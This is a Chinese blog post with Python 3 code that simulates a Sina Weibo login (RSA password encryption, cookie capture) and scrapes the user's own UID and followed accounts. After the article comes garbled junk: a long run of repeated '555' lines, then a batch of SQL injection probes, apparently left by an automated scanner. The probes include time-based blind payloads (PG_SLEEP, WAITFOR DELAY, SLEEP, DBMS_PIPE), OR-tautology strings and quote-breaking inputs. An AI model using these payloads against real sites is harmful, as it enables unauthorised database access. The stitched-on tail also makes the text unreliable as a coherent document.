原文:https://blog.csdn.net/songzhilian22/article/details/48396545
以下是使用python3改写的代码,具体分析过程请查阅我之前在CSDN上面写的博客。
import base64
import requests
import re
import rsa
import binascii
import json
from lxml import etree
def get_cookies(username, password, headers):
'''
:param username: 传入微博的登录名username
:param password: 传入微博的登录名password
:param headers: 模拟登陆需要到的headers
:return: 返回成功登陆之后的cookies
'''
url = 'http://login.sina.com.cn/sso/prelogin.php?entry=sso&callback=sinaSSOController.preloginCallBack&su=%s&rsakt=mod&client=ssologin.js(v1.4.4)%' + username
html = requests.get(url, headers=headers).text
html = json.loads(re.findall('\(({.*?})\)', html, re.S)[0])
rsaPublickey = int(html['pubkey'], 16)
key = rsa.PublicKey(rsaPublickey, 65537) #创建公钥
message = str(html['servertime']) + '\t' + str(html['nonce']) + '\n' + str(password) #拼接明文js加密文件中得到
passwd = rsa.encrypt(message.encode(), key) #加密
passwd = binascii.b2a_hex(passwd) #将加密信息转换为16进制。
# 登陆页面
login_url = 'http://login.sina.com.cn/sso/login.php?client=ssologin.js(v1.4.4)'
# 需要提交的表单
data = {'entry': 'weibo',
'gateway': '1',
'from': '',
'savestate': '7',
'userticket': '1',
'ssosimplelogin': '1',
'vsnf': '1',
'vsnval': '',
'su': base64.b64encode(username.encode()), #加密用户名
'service': 'miniblog',
'servertime': html['servertime'],
'nonce': html['nonce'],
'pwencode': 'rsa2',
'sp': passwd,
'encoding': 'UTF-8',
'prelt': '115',
'rsakv' : html['rsakv'],
'url': 'http://weibo.com/ajaxlogin.php?framelogin=1&callback=parent.sinaSSOController.feedBackUrlCallBack',
'returntype': 'META'}
html = requests.post(login_url, data=data, headers=headers).text
urlnew = re.findall('location.replace\(\'(.*?)\'',html,re.S)[0]
return requests.get(urlnew).cookies #发送get请求并保存cookies
def get_uid(cookies, headers):
'''
:param cookies: 登陆微博后的cookies
:param headers: 模拟登陆需要到的headers
:return: 返回新浪微博用户的UID,用于访问微博其他用户信息
'''
headers['Host'] = 'weibo.com'
headers['Referer'] = 'https://weibo.com/'
MyUID_html = requests.get(url = 'http://weibo.com/', cookies=cookies, headers=headers).text #用get请求加入cookies参数登陆微博主页
UID = {'MyUID':{
'uid': re.findall("\$CONFIG\['uid'\]='(.*?)';", MyUID_html, re.S)[0], #获取我的uid
'nick': re.findall("\$CONFIG\['nick'\]='(.*?)';", MyUID_html, re.S)[0] #获取我的用户名
}}
FollowUID_html = requests.get(url = 'http://weibo.com/' + UID['MyUID']['uid'] + '/follow', cookies=cookies, headers=headers).text
FollowUID_html = json.loads(re.findall('<script>FM.view\((.*?)\)</script>', FollowUID_html, re.S)[-1])['html']
FollowUID = []
for i in etree.HTML(FollowUID_html).xpath('//a[@node-type=\"screen_name\"]'):
FollowUID.append({
'uid': i.xpath('@usercard')[0][3:],
'nick': i.xpath('text()')[0]
})
UID.update({'FollowUID': FollowUID}) # 添加关注用户UID到字典
return UID
if __name__ == '__main__':
username = '' #登录名
password = '' #密码
headers = {'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.86 Safari/537.36'}
cookies = get_cookies(username, password, headers) #获取登陆后的cookies
uid = get_uid(cookies,headers)
print(uid)
从截图可以看到 ,已经成功获取了我关注的用户的UID和用户名信息,说明已经成功模拟登陆了新浪微博,并获取到登陆后的cookies。接下来你可以使用这部分uid和cookies去访问这些用户的微博了:

555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
(select 198766*667891 from DUAL)
(select 198766*667891)
@@EY1J6
555����%2527%2522\'\"
555'"
555
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
5552UKcLXm4')) OR 181=(SELECT 181 FROM PG_SLEEP(15))--
555buFupfIO') OR 526=(SELECT 526 FROM PG_SLEEP(15))--
555SYHmPldz' OR 630=(SELECT 630 FROM PG_SLEEP(15))--
555-1)) OR 444=(SELECT 444 FROM PG_SLEEP(15))--
555-1) OR 913=(SELECT 913 FROM PG_SLEEP(15))--
555-1 OR 640=(SELECT 640 FROM PG_SLEEP(15))--
555lFpbBaqy'
555-1 waitfor delay '0:0:15' --
555-1)
555-1
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z
5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z
555*if(now()=sysdate(),sleep(15),0)
-1" OR 5*5=25 or "XwYUVlDp"="
-1' OR 5*5=25 or 'al6nhECH'='
-1" OR 5*5=25 --
-1' OR 5*5=25 --
-1 OR 5*5=25
-1 OR 5*5=25 --
555
555
555